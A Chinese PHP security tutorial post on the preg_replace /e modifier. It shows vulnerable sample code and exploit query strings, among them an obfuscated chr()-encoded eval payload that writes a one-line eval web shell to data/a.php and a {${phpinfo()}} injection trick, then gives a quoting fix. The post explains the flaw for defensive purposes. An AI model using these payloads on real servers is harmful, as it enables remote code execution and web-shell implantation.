慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
让你的WINDOWS同时支持MYSQL4,MYSQL4.1,MYSQL5X
Dec 06 PHP
php strcmp使用说明
Apr 22 PHP
php for 循环语句使用方法详细说明
May 09 PHP
php !function_exists(&quot;T7FC56270E7A70FA81A5935B72EACBE29&quot;))代码解密
Jan 07 PHP
php中的静态变量的基本用法
Mar 20 PHP
浅析PHP文件下载原理
Dec 25 PHP
Thinkphp中的curd应用实用要点
Jan 04 PHP
PHP中的traits实现代码复用使用实例
May 13 PHP
php 实现进制相互转换
Apr 07 PHP
php日期操作技巧小结
Jun 25 PHP
PHP用FTP类上传文件视频等的简单实现方法
Sep 23 PHP
PHP调用API接口实现天气查询功能的示例
Sep 21 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
php 用checkbox一次性删除多条记录的方法
2010/02/23 PHP
PHP资源管理框架Assetic简介
2014/06/12 PHP
PHP获取mysql数据表的字段名称和详细信息的方法
2014/09/27 PHP
Yii2实现跨mysql数据库关联查询排序功能代码
2017/02/10 PHP
Jquery Ajax请求代码(2)
2011/01/07 Javascript
使用jQuery避免鼠标双击的解决方案
2013/08/21 Javascript
js获取浏览器基本信息大全
2014/11/27 Javascript
JQuery控制Radio选中方法分析
2015/05/29 Javascript
基于jQuery+PHP+Mysql实现在线拍照和在线浏览照片
2015/09/06 Javascript
简单解析JavaScript中的__proto__属性
2016/05/10 Javascript
jQuery+Ajax+PHP弹出层异步登录效果(附源码下载)
2016/05/27 Javascript
jquery 实现滚动条下拉时无限加载的简单实例
2016/06/01 Javascript
浅谈JavaScript前端开发的MVC结构与MVVM结构
2016/06/03 Javascript
Angular 实现输入框中显示文章标签的实例代码
2018/11/07 Javascript
自定义Vue组件打包、发布到npm及使用教程
2019/05/22 Javascript
Vue.js中provide/inject实现响应式数据更新的方法示例
2019/10/16 Javascript
JS闭包原理及其使用场景解析
2020/12/03 Javascript
利用Python中的pandas库对cdn日志进行分析详解
2017/03/07 Python
python with提前退出遇到的坑与解决方案
2018/01/05 Python
Django框架模板的使用方法示例
2019/05/25 Python
在pyqt5中QLineEdit里面的内容回车发送的实例
2019/06/21 Python
详解pyinstaller selenium python3 chrome打包问题
2019/10/18 Python
tensorflow 实现自定义layer并添加到计算图中
2020/02/04 Python
详解tf.device()指定tensorflow运行的GPU或CPU设备实现
2021/02/20 Python
使用CSS3来匹配横屏竖屏的简单方法
2015/08/04 HTML / CSS
TripAdvisor瑞典:全球领先的旅游网站
2017/12/11 全球购物
美国高品质个性化珠宝销售网站:Jewlr
2018/05/03 全球购物
马来西亚在线购物:POPLOOK.com
2019/12/09 全球购物
给海归自荐信的建议
2013/12/13 职场文书
大学生工作求职信
2014/06/23 职场文书
建设幸福中国演讲稿
2014/09/11 职场文书
党员个人总结自评
2015/02/14 职场文书
行为规范主题班会
2015/08/13 职场文书
基于PyQt5制作一个群发邮件工具
2022/04/08 Python
python通过新建环境安装tfx的问题
2022/05/20 Python
教你使用RustDesk 搭建一个自己的远程桌面中继服务器
2022/08/14 Servers